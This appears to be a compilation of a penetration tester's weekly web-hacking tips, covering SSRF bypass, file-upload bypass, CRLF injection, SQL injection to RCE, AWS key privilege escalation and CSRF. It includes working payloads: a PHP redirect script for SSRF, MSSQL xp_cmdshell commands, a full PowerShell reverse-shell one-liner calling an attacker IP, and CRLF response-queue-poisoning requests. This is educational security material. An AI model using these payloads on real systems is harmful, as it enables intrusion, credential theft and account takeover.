A great tool to use that will automatically provide you with a domain that alternates between two IP’s you specify is: <https://lock.cmpxchg8b.com/rebinder.html>\
&#x20;\
Just plug your target IP (like localhost) in with an allowed public one, and then send a couple of requests through Burp Repeater!\
&#x20;\
Defenses:\
-Map domains to a specific IP\
-Disallow JavaScript from running\
-Disallow short TTL’s (time to live) on domains

![](/files/CWYe7tfAdLmzQj5dBJAq)


# Week 48 - SSRF Bypass

If you are looking for a last-minute stocking stuffer, how about a tip on Server-Side Request Forgery Bypass? All kids seem to love those.\
&#x20;\
Anyway, I was on an [#AppSec](https://www.linkedin.com/feed/hashtag/?keywords=appsec\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7011697154809282560) engagement recently and was doing research on bypassing [#SSRF](https://www.linkedin.com/feed/hashtag/?keywords=ssrf\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7011697154809282560) restrictions. Turns out, I found a super cool technique I wanted to share with y’all. To summarize:\
&#x20;\
The application I was pentesting had an HTML to PDF feature that allowed me to inject my own iframes. I tried to point to localhost, /etc/passwd, and the AWS metadata server with no luck. I started researching SSRF bypasses and found that if I added the below code into a PHP file named ‘jakey.php’ on my own web server:\
&#x20;\
`<?php`\
`$loc = $_GET['a'];`\
`header('Location: ' . $loc);`\
`?>`\
&#x20;\
And then pointed to it with an iframe:\
&#x20;\
`<iframe src=’http[:]//<my-server>/jakey.php?a=file[:]///etc/passwd’/>`\
&#x20;\
I could finally retrieve local files! This works because the HTML to PDF feature first loads \<my-server>/jakey.php with no issues since it is not blacklisted. Then upon being loaded, jakey.php redirects the server to the address specified in the ‘a’ GET parameter, which in this case was file\[:]///etc/passwd\
&#x20;\
And then boom! I had local file read. Pretty cool technique for SSRF testing.

![](/files/JYrWMa7a8wlvBj6TtKt9)


# Week 49 - File Upload Bypass

Looking for another way of exploiting PHP file uploads?\
&#x20;\
Say the application properly blocks all attempts at uploading PHP files (.php, .php4, .php5, etc). If you are lucky enough to find an application that stores file uploads in the web root (e.g. /var/www/html/file.txt) try uploading a file named .htaccess containing the following:\
&#x20;\
`AddType application/x-httpd-php .cth`\
&#x20;\
Now .cth files will execute as .php and you can successfully bypass PHP upload restrictions!\
\
This works because .htaccess is a file stored in the web root that controls high-level server configurations, like URL redirection and file rendering.\
&#x20;\
Shoutout to [John H.](https://www.linkedin.com/in/ACoAABLPqDIBHtjgo8d_MxPO3MdoBXc2VW_WfEk) and alh4zr3d for this one

![](/files/sQRABrCkDb2jY5pvlndX)


# Week 50 - CRLF Injection

This week’s web hacking tip is on Carriage Return and Line Feed (CRLF) Injection!\
&#x20;\
[#CRLF](https://www.linkedin.com/feed/hashtag/?keywords=crlf\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7017142738684891136) Injection occurs when an attacker can insert special characters (into a URL or parameter) that split the HTTP Response. These special characters are:\
&#x20;\
%0d => Carriage Return\
%0a => Line Feed\
&#x20;\
When un-sanitized, these characters are interpreted by the web server as a new line. Meaning the web server will create a new line in the HTTP response (see attached image).\
&#x20;\
How can I discover it?\
&#x20;\
Look for user input that is taken from GET/POST parameters and reflected into server response headers! Some common areas this occurs are in the “Location: \<user-input>” response header as well as the “Set-Cookie: \<user-input>” response header. If you have any other tips for discovery, let me know in the comments.\
&#x20;\
Who cares?\
&#x20;\
CRLF can allow an attacker to manipulate server-side files (such as logs) by adding new lines to them. But more importantly, it can allow HTTP Response Splitting:\
\
HTTP Response Splitting allows us to add a new response header, which can result in redirecting users or even session hijacking. For example, injecting a “Location: x” response header allows us to redirect the user. Injecting a “Set-Cookie: x” response header can allow for cookie injection!\
\
We could even use CRLF to generate an entire second response from the server, which we would completely control.\
&#x20;\
How do you fix it?\
\
Apply HTML encoding and properly sanitize any user input before sending a response back to the browser.\
&#x20;

![](/files/aWoEDXtlxdamCh9qZ2te)


# Week 51 - HTML to PDF

Did you know [#Lyft](https://www.linkedin.com/feed/hashtag/?keywords=lyft\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7018937917653831680) was (legally) hacked in 2018 through an export to PDF feature?\
\
Buckle up, cause this is an interesting one. The researcher Nahamsec was testing Lyft through a bug bounty program and discovered an HTML injection within Lyft’s ‘generate expense report’ feature. This feature allowed the user to export their ride history within a PDF, and Nahamsec found a way to specify custom HTML that would be rendered by the server and converted into this PDF.\
\
Now if you’ve been following my web hacking series, you would know where to go from here: check for Server-Side Request Forgery, since we can render HTML as the server. I’ve posted before on using \<iframe>, \<embed> and even SVG files to exploit SSRF. Nahamsec tried several techniques but failed to create a working SSRF exploit.\
\
This is where things get interesting, and where I learned a new SSRF payload. Nahamsec found that you can use the following HTML payload:\
\
`<link rel=attachment href="URL">`\
\
This payload will attach the content of any web page (the server response) from the specified URL. This response will be invisible within the PDF, as it will be embedded within the file contents. To view it, we will have to run a separate command to extract the embedded data. That command is:\
\
pdfdetach -saveall filename.pdf\
\
Now all you need to do is print out the embedded resource:\
\
cat attachment.bin\
\
And you will have the SSRF response! Using this technique, Nahamsec could reach out to the default AWS metadata server located at 169\[.]254\[.]169\[.]254 and steal Lyft's AWS Access Keys!

![](/files/LuX5zOAKNdym5UdLLrdz)


# Week 52 - Parameter Pollution

This week’s [#WebHackingSeries](https://www.linkedin.com/feed/hashtag/?keywords=webhackingseries\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7021482272155430913) tip covers HTTP Parameter Pollution!\
&#x20;\
Parameter Pollution occurs when you specify a duplicate GET or POST parameter, with the goal of tricking the application into issuing an unauthorized request. Say we have the following URL:\
&#x20;\
`victim[.]com/auth/generate_otp?email=user@user[.]com&method=email`\
&#x20;\
This URL generates a One-Time-Password for users to log in to their account. We can trick a vulnerable application by using parameter pollution:\
&#x20;\
`victim[.]com/auth/generate_otp?email=user@user[.]com&email=jake@hacker[.]com&method=email`\
&#x20;\
Note the additional GET parameter ‘email’, which contains jake\@hacker\[.]com. Assuming this application is vulnerable, the back-end would use the first ‘email’ parameter to generate the OTP, and the second ‘email’ parameter to send the OTP. Thus, allowing jake\@hacker\[.]com to take over the account user\@user\[.]com through a parameter pollution attack.\
&#x20;\
Hit me with a follow for more Offensive Security Tips!

![](/files/3HHiVNTwoky9aT3hg3Tr)


# Week 53 - Pre-Account Takeover

You've probably heard of Account Takeover vulnerabilities, but have you heard of Pre-Account Takeover (OAuth)?

This can occur whenever an application does not verify a user’s email upon registration and implements a third-party social login (Sign in with Google, Facebook, etc). The attack path looks like:

-A threat actor registers an account: victim\@victim\[.]com

-Sometime later, the victim signs up but does so through a third-party social login (also using victim\@victim\[.]com)

-When the victim successfully creates their account, the application will link their new account with the threat actors old account, since they both are using the same email

-The threat actor can proceed to login to the victim’s account with the password they set in step 1, and achieve account takeover

Successfully executed, this attack allows for the takeover of a target victim’s account. This finding can be remediated by properly implementing email verification, along with checking if the user account exists before allowing new sign-ups through a social login.

As a hacker, you should spend some time on engagements attempting to bypass this verification as it can lead to a nice finding!

![](/files/dPIBbA3nzHIES2syM6oi)


# Week 54 - Race Conditions

This week’s web hacking tip is on Race Conditions!

When discussing these vulnerabilities, I’ve found that students can often get confused or have difficulty describing them. Personally, I find the following example helpful:

Let’s say we are working with a website that uses gift cards at checkout. When a gift card is submitted by a user, the back-end server checks whether the code is valid or not. If it’s valid, the balance is added to the user’s account. If not, an error message is displayed.

Now, race conditions occur within features that limit the number of times you can perform an action. In the gift card example above, we should only be allowed to submit a valid gift card code one time. The key here is, in the time the back-end server takes to validate the gift card code and mark it as used, we may be able to send multiple concurrent requests that will successfully go through.

TL;DR: Send concurrent requests to the server with a valid gift card code, in an attempt to execute multiple requests before the server has time to mark the gift card as previously used.

So, how can you send multiple concurrent requests? I recommend using either a Python script (asyncio and httpx libraries) or BurpSuite’s Turbo Intruder extension.

How can you prevent Race Conditions? If your application is multi-threaded, use locks on potentially vulnerable functions and actions. Locks work to ensure that operations occur in order (synchronously), so threat actors can’t take advantage of them by flooding requests.

![](/files/DVkkk7B63DLmYRIUxuH3)


# Week 55 - SQLi to RCE

Have you ever found a SQL injection and attempted to elevate it to Remote Code Execution? Whether on an engagement or studying for your OSCP, this skill is worth knowing.\
&#x20;\
On a recent engagement, I found a SQL injection within an MSSQL database. Due to several technical limitations, I was only able to exploit this manually. I could pull data and execute SELECT statements, but I wanted something much more exciting: a reverse shell.\
&#x20;\
Now with MSSQL injections, it is common to try and exploit xp\_cmdshell to run commands on the backend server. I had used SQLMap to automate this process before, but as mentioned above I had to opt for the manual route this time. Here was the injection that successfully revealed the DB name:\
&#x20;\
`' and 1=cast(db_name() as int)--`\
&#x20;\
To visualize this more clearly, the full query (including my injection) looked something more like:\
&#x20;\
`SELECT column_name FROM table_name WHERE id = ‘1' and 1=cast(db_name() as int)--`\
&#x20;\
This resulted in a casting error that displayed the full result of db\_name(). Perfect, we have a POC for error-based injection. Now let’s try and get RCE!\
&#x20;\
I saw that xp\_cmdshell requires the CONTROL SERVER permission, which luckily, I found to be allowed for my user (since I was a sysadmin). Now, to use xp\_cmdshell you first must enable it, as it is disabled by default on most systems. Keeping in mind our earlier injection, we can do this manually by running the below two commands:\
&#x20;\
`' and 1=1;EXEC sp_configure 'show advanced options', 1; RECONFIGURE;--`\
`' and 1=1;EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--`\
&#x20;\
Now xp\_cmdshell should be enabled, and we can run a command on the server with:\
&#x20;\
`' and 1=1;EXEC xp_cmdshell ‘<server-command>’;--`\
&#x20;\
I immediately tried dir and ipconfig but realized I couldn’t see the output of the command. My next thought was to try ‘wget http\[:]//\<attacker-ip>/test’ and I also saw that didn’t work. I was stumped for a bit, until I realized that this was a Windows host (duh) and wget was not going to cut it. I immediately switched to ‘ping \<attacker-ip>’ and listened for incoming ICMP connections on my box with the below command:\
&#x20;\
`tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo`\
&#x20;\
Sure enough, I received several incoming requests and realized I had RCE! Now how can you transform command execution into a reverse shell? I found a great PowerShell one-liner that did the trick:\
&#x20;\
`' and 1=1;EXEC xp_cmdshell 'powershell -c "$client = New-Object System.Net.Sockets.TCPClient(<attacker-ip>,<attacker-port>);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $`[`stream.Read`](http://stream.Read)`($bytes, 0, 9$bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + ''PSReverseShell# '';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}$client.Close();"';--`

![](/files/F9h7mltaR7JH1snzGugm)


# Week 56 - Cloud SSRF PrivEsc

Picture this: you discover Cloud SSRF on an [#AppSec](https://www.linkedin.com/feed/hashtag/?keywords=appsec\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7039254102492504065) engagement, and you’re staring at a set of access keys. If you’re anything like me, you’ll be thinking: now what?? In this post, I will document how to turn those keys into AWS Admin and RCE!\
&#x20;\
Most of the time with Cloud SSRF, you’ll be dealing with an AWS environment. This is because Google Cloud and Azure by default require a custom header to be passed in the SSRF request, which means that unless you can specify a custom header for the server to use, you will be SOL. \*Interestingly to note, metadata SSRF can also be prevented in AWS by switching from IMDSv1 to IMDSv2\
&#x20;\
Once you pull those access keys, the first step is to figure out what permissions they have associated with them. This can be done through two amazing tools: enumerate-iam and pacu (linked in comments). I will cover enumerate-iam first since it’s easier and has a lower learning curve. You can run it like this:\
&#x20;\
`python3 enumerate-iam[.]py –access-key [access_key_here] –secret-key [secret_key_here] –session-token [session_token_here]`\
&#x20;\
It will then go through and enumerate the permissions associated with the access key. Some dangerous permissions that could be used to further the severity are:\
&#x20;\
s3:ListBuckets => List out S3 buckets, probably some sensitive info in there\
iam:PassRole and ec2:RunInstances => create ec2 instance and pass an existing role to it. Then you have RCE on an OS in the AWS environment\
iam:PutGroupPolicy or iam:PutUserPolicy => attach policy with higher permissions to your own group/role\
iam:CreatePolicyVersion => create a new version of your policy with higher permissions\
iam:AddUserToGroup or iam:CreateAccessKey => add your user to a group with higher permissions\
&#x20;\
If you are lazy like me, you can automate this with aws\_escalate\[.]py (linked in comments).\
&#x20;\
Now onto Pacu. I like to call this tool the Metasploit of the cloud. It can have a steeper learning curve, but there is so much you can do with it once you get comfortable. Once setup, you can run the following module:\
&#x20;\
`run iam__bruteforce_permissions`\
&#x20;\
This will spit out your permissions associated with the access key. Say you don’t have Admin access. Just run the following module in Pacu:\
&#x20;\
`run privesc_scan`\
&#x20;\
If Pacu finds a PrivEsc route, it will automatically make you an Administrator. Doesn’t get much easier than that!\
&#x20;\
If you found this informative, please hit me with a re-post! I’m hoping to get to 10k followers here soon!

![](/files/A3VgO3kCe19MbvLBj706)


# Week 57 - Response Queue Poisoning

Did you know you can likely upgrade CRLF Injection to a Critical finding? Many bug bounty programs consider it medium-severity and on par with XSS. In this post, I will show you how to make it P1 through Response Queue Poisoning!

To accomplish this, we first need to find a way of injecting the classic %0d%0a somewhere in the request. I recommend targeting the URL itself or another parameter that is reflected in the response headers (like Location). For reference, %0d%0a refers to:

Carriage Return = \r (%0d)&#x20;

Line feed = \n (%0a)&#x20;

^ Read more about it on one of my previous posts linked in comments

Now let’s say we discovered the below CRLF injection. Before upgrading the severity, we need to form a clean request with our line breaks. The %0d%0a represent a new line break between headers, and the added Connection and Host headers allow for a complete request.

`GET /%20HTTP/1.1%0d%0aHost:%20redacted[.]net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1`

We have a complete request we were able to inject on the server. Now, let’s upgrade this to critical. What the below request does is tell the back-end server to issue 2 responses. The back-end server sees only one request but has two responses and gets confused:

`GET /%20HTTP/1.1%0d%0aHost:%20redacted[.]net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`

Notice the “Foo: bar” header at the end. This is to cancel out the “GET /randompage” that will be appended by a victim’s incoming request we will overlap and steal.

So the server ends up with a response that has no matching request. This response is held in the queue until the server receives another request, then it sends it forward. As you can see, this throws off the server by one request, and the cycle is repeated until the keep-alive connection is terminated.

The end result is intermittently receiving responses intended for other authenticated users and a critical finding for us hackers. This attack is known as Response Queue Poisoning.

If you are having trouble visualizing this, I found a beautiful explanation by PortSwigger I wanted to include:

“As there are no further requests awaiting a response, the unexpected second response is held in a queue on the connection between the front-end and back-end.

When the front-end receives another request, it forwards this to the back-end as normal. However, when issuing the response, it will send the first one in the queue, that is, the leftover response to the smuggled request.

The correct response from the back-end is then left without a matching request. This cycle is repeated every time a new request is forwarded down the same connection to the back-end. “

Note:

If you are having trouble exploiting this, try with a large number of newlines, this has been known to bypass some server-side defense mechanisms. Check out the article linked in the comments for more info.


# Week 58 - Directory Traversal

Did you know that most modern web servers do not serve content like:

`/var/www/html/register.php => File stored on server`

`GET /register.php => Request to get static file`

Instead, many servers rely on dynamically defined routes:

`Router.route(“/register”)`&#x20;

`.get(require(“.getRegisterFields.js”)`&#x20;

`.post(require(“.addNewUser.js”)`

These dynamically defined routes are often used to generate an additional request (say, to an API) before returning data to a user. This could look like the following:

`GET /profile?id=1 => Request generated by user HOST: example[.]com`

`GET /api/v1/users/profile/1 => Request generated by the server, to the internal API HOST: internal[.]example[.]com`

`CONTENT-TYPE: application/json => Response to user {“name”:”jake”}`

How can we exploit this? Let’s try the below scenario:

`GET /profile?id=../ => Request generated by user with directory traversal payload HOST: example[.]com`

`GET /api/v1/users/profile/../ => Request generated by the server, to the internal API GET /api/v1/users/ => Request normalized and executed by the internal API`

`CONTENT-TYPE: application/json => Data for all users returned {“name”:”jake”, “name”:”dahvid”, “name”:”james”}`

And we can view information for all users within the API! The big takeaway from this is to keep in mind that the server may be taking your input and appending it to another back-end request, allowing you to manipulate what data is returned to you. See if you can trigger error messages to help you enumerate further, or try some of the below tips:

-Directory traversal attempts&#x20;

-Fuzzing using valid URL characters (%23 (#), %3f (?), %26 (&), %2e (.), %2f (/), %40 (@))&#x20;

-Different headers returned for certain pages&#x20;

-Error messages revealing internal API’s and services

![](/files/pMC9uAMWIdjTYuNOpbOZ)


# Week 59 - File Upload -> CSRF

When testing a file upload to an S3 bucket I always recommend trying to upload .html files, since in certain cases, you can use them to steal a user’s session cookie!\
&#x20;\
Assuming you can successfully upload .html files, the next thing to check for is if the S3 bucket is a CNAME to a subdomain (AKA subdomain\[.]example\[.]com points to s3\[.]amazonaws\[.]com/bucket).\
&#x20;\
Now if this is the case, and the application on the main domain has its session cookie marked with the ‘domain’ attribute, then you can often steal the session cookie(s) across the full scope of the main domain through the subdomain! This is assuming the ‘path’ attribute is not set to a directory outside of our file upload path. If this doesn’t work because of the ‘HttpOnly’ attribute, you can then try to pull off Cross-Site Request Forgery:\
&#x20;\
[#CSRF](https://www.linkedin.com/feed/hashtag/?keywords=csrf\&highlightedUpdateUrns=urn%3Ali%3Aactivity%3A7062074651786530816) would be possible on the subdomain because you could bypass the SameSite flag since the registrable domain (AKA root domain) is the same. You can also often bypass CORS since regex is frequently used to allow subdomains the ability to execute cross-origin requests. This means that it could be possible to execute a CSRF attack with POST data. Even if there’s a CSRF token, you could grab it, parse it from the response, and initiate a new request with it.\
&#x20;\
To prevent this sort of attack from occurring, it is recommended to add statements to your bucket policy that allow the s3:PutObject action only for objects that have the extension of the file type that you want (images, PDFs, etc).\
&#x20;\
Have any other ideas on attacking unrestricted file upload to an S3 bucket? Let me know in the comments. I have an in-depth post coming up on the modern state of Cross-Site Request Forgery, so stay tuned!

![](/files/bqspmZBLsuKIXRhiF2oX)


# Week 60 - Modern CSRF Attacks

To pull off a CSRF today, you need to make sure the app is using cookies to authenticate users. This is because JWT’s are not vulnerable to CSRF since they are not automatically added to cross-origin requests like cookies are. So, to make CSRF work you must find one of the below occurrences:

&#x20;

1\)      Find an application that does a state-change within a GET request

Common state-changes I look for are password resets, account invites, or user role changes. Even if the parameters are passed within POST data, it’s worth trying them as GET parameters and seeing if the app accepts them. If it does, you can often turn this into a CSRF because most session cookies are set with SameSite=Lax (default in both Chrome and FireFox), meaning cookies are automatically passed within cross-origin GET requests but not POST. CORS also should not be an issue here because our request does not qualify as ‘complex’, which means that in this case, CORS DOES NOT BLOCK THE REQUEST - IT BLOCKS THE RESPONSE. For CORS to qualify a request as ‘complex’ it must meet one of the below requirements:

* A request that uses methods other than GET, POST, or HEAD
* A request that includes headers other than Accept, Accept-Language or Content-Language
* A request that has a Content-Type header value other than application/x-www-form-urlencoded, multipart/form-data, or text/plain

If just one of the above cases is met, CORS will block the request from going through. Note: if the application uses a CSRF token on the GET request, you could be screwed unless you can find a CORS misconfiguration and retrieve the token. See number 2 for more details on that. You also need to make sure SameSite is not set to ‘Strict’, which means no cookies are attached in cross-site GET requests.

&#x20;

2\)      Find an application with a CORS misconfiguration and a session cookie explicitly set with SameSite=None

This is more of a rare find but would allow you to send a cross-origin request with POST data to the application via JavaScript. By ‘CORS misconfiguration’ I am referring to the attacker’s ability to control the ‘Access-Control-Allow-Origin’ response header and bypass CORS restrictions (for the sake of the example, I am also assuming ‘Access-Control-Allow-Credentials’ is set to ‘true’ as well), allowing them to read the server response. You might be thinking, why not just set the ‘Origin’ request header through JavaScript? This will not work because browsers do not allow you to set the ‘Origin’ header, you will get a forbidden error if you try.

The SameSite flag being set to None would allow cookies to be automatically attached to cross-origin POST requests. If the SameSite flag is not included when setting the cookie, FireFox and Chrome will automatically make it ‘SameSite=Lax’ which is why it must be explicitly set to ‘SameSite=None’ for this to work.

&#x20;

3\)      Find a Cross-Site Scripting vulnerability (my personal favorite)

&#x20;

This is the most common and cleanest way to pull off a modern-day CSRF. Since XSS allows you to execute JavaScript within the same origin of the site, you should have no CORS issues and no problem having cookies auto-attach to requests, regardless of the SameSite status. Even if the site is using a CSRF token, you could grab that from the page and include it within the state-changing request. This is one of the reasons why XSS is so dangerous, but unfortunately often overlooked.


